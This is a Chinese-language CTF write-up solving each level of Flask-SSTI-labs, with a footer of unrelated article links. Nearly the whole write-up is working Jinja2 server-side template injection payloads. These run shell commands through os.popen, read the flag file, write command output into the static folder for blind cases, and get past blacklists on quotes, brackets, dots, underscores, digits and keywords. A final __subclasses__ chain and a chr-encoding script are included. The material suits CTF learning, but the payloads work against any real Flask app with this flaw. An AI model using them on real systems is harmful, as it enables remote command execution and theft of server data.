CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

文章目录

  • [CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记](#CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记)
    • 前记
    • [Level 1 no waf](#Level 1 no waf)
    • [Level 2 bl['\{\{']](#Level 2 bl['{{'])
    • [Level 3 no waf and blind](#Level 3 no waf and blind)
    • [Level 4 bl['[', ']']](#Level 4 bl['[', ']'])
    • [Level 5 bl['\'', '"']](#Level 5 bl[''', '"'])
    • [Level 6 bl['']](#Level 6 bl[''])
    • [Level 7 bl['.']](#Level 7 bl['.'])
    • [Level 8 bl["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]](#Level 8 bl["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"])
    • [Level 9 bl['0-9']](#Level 9 bl['0-9'])
    • [Level 10 set config = None](#Level 10 set config = None)
    • [Level 11 bl['\'', '"', '+', 'request', '.', '[', ']']](#Level 11 bl[''', '"', '+', 'request', '.', '[', ']'])
      • [ban 了 `' " request'`思考如何返回字符串?](#ban 了 ' " request'思考如何返回字符串?)
      • [如果我们读flag 目录路径有 空格+ 斜杠 如何处理?](#如果我们读flag 目录路径有 空格+ 斜杠 如何处理?)
    • [Level 12 bl['', '.', '0-9', '\\', '\'', '"', '[', ']']](#Level 12 bl['', '.', '0-9', '\', ''', '"', '[', ']'])
    • [Level 13 bl['', '.', '\\', '\'', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']']](#Level 13 bl['', '.', '\', ''', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']'])
  • 总结

前记

搭建环境

建议用nssctf在线 https://www.nssctf.cn/problem/13 直接用

以下题目我用简洁的payload 绕过{``{lipsum.__globals__['os'].popen('ls').read()}}

其中lipsum为 flask框架 内置函数 通用

以下内容熟记 (因为绕过本质无非是换种形式表达相同的含义)

获取键值或下标的方式

dict['__builtins__']
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
list[0]
list.__getitem__(0)
list.pop(0)

获取属性的方式

().__class__
()["__class__"]
()|attr("__class__")
().__getattribute__("__class__")

Level 1 no waf

{``{lipsum.__globals__['os'].popen('cat /app/flag').read()}}

Level 2 bl['{{']

{%%}可以用来声明变量,当然也可以用于循环语句和条件语句。
{{}}用于将表达式打印到模板输出
{##}表示未包含在模板输出中的注释
\##可以有和{%%}相同的效果

{{}} 等价于 {%print%}

Level 3 no waf and blind

盲注

第一 判断出不出网

{``{lipsum.__globals__['os'].popen('ls').read()}}

发现不出网

尝试写静态文件 请先了解 flask 静态目录概念

{``{lipsum.__globals__['os'].popen('echo "test" >/app/static/1.txt').read()}}

成功写入static静态目录

读取flag

{````{lipsum.__globals__['os'].popen('echo `cat /app/flag` >/app/static/1.txt').read()}}

Level 4 bl['[', ']']

{``{lipsum.__globals__['os'].popen('ls').read()}}

获取键值或下标

dict['__builtins__']
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
list[0]
list.__getitem__(0)
list.pop(0)

替换一下

{``{lipsum.__globals__.get('os').popen('ls').read()}}

Level 5 bl[''', '"']

过滤引号

{``{lipsum.__globals__['os'].popen('ls').read()}}

完全可以替换为 request.args.参数名(get方式)

{``{lipsum.__globals__[request.args.x1].popen(request.args.x2).read()}}

Level 6 bl['_']

{``{lipsum.__globals__['os'].popen('ls').read()}}

可以编码绕过 python解析器支持 hex ,unicode编码 (不建议用base64仅python2支持)

{``{lipsum['\x5f\x5fglobals\x5f\x5f']['os'].popen('cat /app/flag').read()}}

Level 7 bl['.']

{``{lipsum.__globals__['os'].popen('ls').read()}}

用[] 代替 . 其他方法 参考 获取属性的四种方法

{``{lipsum['__globals__']['os']['popen']('ls')['read']()}}

Level 8 bl["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]

过滤了很多关键词

{``{lipsum.__globals__['os'].popen('ls').read()}}

编码绕过和拼接不能同时使用 试错报错

{``{lipsum['__glob''als__']['os']['pop''en']('ls').read()}}

Level 9 bl['0-9']

{``{lipsum.__globals__['os'].popen('ls').read()}}

我们没用 数字

Level 10 set config = None

通过 current_app取config

{``{url_for.__globals__['current_app'].config}}

Level 11 bl[''', '"', '+', 'request', '.', '[', ']']

ban 了 ' " request'思考如何返回字符串?

通过过滤器 | join 返回变量

ban 了 . []如何取属性 ?

通过 |attr()

如何取键值 ?

通过 __getitem__('key')

然后用 {%set %}拼接

{``{lipsum.__globals__['os'].popen('ls').read()}}

{{lipsum.__globals__['os'].popen('ls').read()}}
a.构造__globals__
{%set a=dict(__glo=a,bals__=a)|join%}

b.构造os
{%set b=dict(o=a,s=a)|join%}

c.构造popen
{%set c=dict(po=a,pen=a)|join%}

cmd.构造ls
{%set cmd=dict(l=a,s=a)|join%}

d.构造read
{%set d=dict(re=a.ad=a)|join%}

e.构造__getitem__
{%set e=dict(__ge=a,titem__=a)|join%} 

f.构造__builtins__
{%set f=dict(__buil=a,tins__=a)%}

g.构造 chr 字符
{%set ch=dict(ch=a,r=a)|join%}

{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

就是

{%set a=dict(__glo=a,bals__=a)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set cmd=dict(l=a,s=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=dict(__ge=a,titem__=a)|join%} 
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

如果我们读flag 目录路径有 空格+ 斜杠 如何处理?

['__builtins__']['chr']函数 用ascii表 转换为字符

原payload:{``{lipsum.__globals__['__builtins__']['chr']}}

附字符转chr脚本 记下 32 为空格 47为斜杠

python 复制代码
i= input("输入字符串:")
flag=""
for c in i:
    c= ord(c)
    b="chr(%d)" %(c)
    flag +=b+'%2b'
print(flag[0:-3:1])

修改payload

构造细节

{{lipsum.__globals__['os'].popen('ls').read()}}
a.构造__globals__
{%set a=dict(__glo=a,bals__=a)|join%}

b.构造os
{%set b=dict(o=a,s=a)|join%}

c.构造popen
{%set c=dict(po=a,pen=a)|join%}

cmd.构造ls
{%set cmd=dict(l=a,s=a)|join%}

d.构造read
{%set d=dict(re=a,ad=a)|join%}

e.构造__getitem__
{%set e=dict(__ge=a,titem__=a)|join%} 

f.构造__builtins__
{%set f=dict(__buil=a,tins__=a)|join%}

ch.构造 chr 字符
{%set ch=dict(ch=a,r=a)|join%}

chh.构造 chr 函数
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}

code={%set a=dict(__glo=a,bals__=a)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=dict(__ge=a,titem__=a)|join%} 
{%set f=dict(__buil=a,tins__=a)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set cmd=(dict(ca=a,t=a)|join,chh(32),chh(47),dict(ap=a,p=a)|join,chh(47),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

Level 12 bl['_', '.', '0-9', '\', ''', '"', '[', ']']

相比上一题

过滤了下划线和数字

获取下划线(空格)的两种方式

  1. 通过截取 环境字符

  2. 通过 chr函数 转化

取下划线 测试

{``{()|select|string|list}}

返回字符 可以通过下标取到结果

{%set p=dict(po=a,p=a)|join%}
{{()|select|string|list|attr(p)(24)}}

但是这里禁止了数字0-9

可以通过过滤器 | length 或者| count取到

数字24

用python生成24个字符 python -c "print('a'*24)"

aaaaaaaaaaaaaaaaaaaaaaaa

取下划线 _

{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{{()|select|string|list|attr(p)(numa)}}

延用上关的payload进行修改

{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(numa)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set numb=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set numc=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set cmd=(dict(ca=a,t=a)|join,chh(numb),chh(numc),dict(ap=a,p=a)|join,chh(numc),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

注意一下 不能单独

{%set a=dict(glob=a,als=a)|join%}
{%set ac=(xhx,xhx,a,xhx,xhx)|join%} //这是失败的

//还必须一起写(不然没法取完整下划线)

Level 13 bl['_', '.', '\', ''', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']']

沿用上关payload 嘿嘿

{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(numa)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set numb=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set numc=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set cmd=(dict(ca=a,t=a)|join,chh(numb),chh(numc),dict(ap=a,p=a)|join,chh(numc),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

总结

我们想像一下假如出题人 比较细节 完全可以把flask内置函数lipsum,config,url_for都禁了

我们要这么办?

既然是ssti漏洞专门设计的CTF题 一定有解

恰好如果ssti ban了() 那么将没有办法做

我们完全可以从源字符取

例如

{``{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()}}

取chr函数可以通过

{``{().__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__']['chr']}}

相信自己,即使自己手动构造比较复杂,一步一步来,是可以完成的

相关推荐
Pfolg1 小时前
Python+ffmpeg实现字幕视频合并
python·ffmpeg·开源软件
积水成江1 小时前
Vite+Vue3+SpringBoot项目如何打包部署
java·前端·vue.js·windows·spring boot·后端·nginx
小鹿( ﹡ˆoˆ﹡ )2 小时前
探索TCP协议的奥秘:Python中的网络通信
网络·python·tcp/ip
H3h3QAQ2 小时前
APISIX 联动雷池 WAF 实现 Web 安全防护
网络安全
哪 吒2 小时前
华为OD机试 - 冠亚军排名(Python/JS/C/C++ 2024 E卷 100分)
javascript·python·华为od
F_D_Z3 小时前
【Python】数据可视化之聚类图
python·信息可视化·聚类
原机小子3 小时前
SpringBoot在线教育系统:从零到一的构建过程
数据库·spring boot·后端
2401_857439693 小时前
SpringBoot在线教育平台:设计与实现的深度解析
java·spring boot·后端
总是学不会.4 小时前
SpringBoot项目:前后端打包与部署(使用 Maven)
java·服务器·前端·后端·maven
DanCheng-studio4 小时前
毕业设计项目 大数据电影数据分析与可视化系统(源码+论文)
python·毕业设计·毕设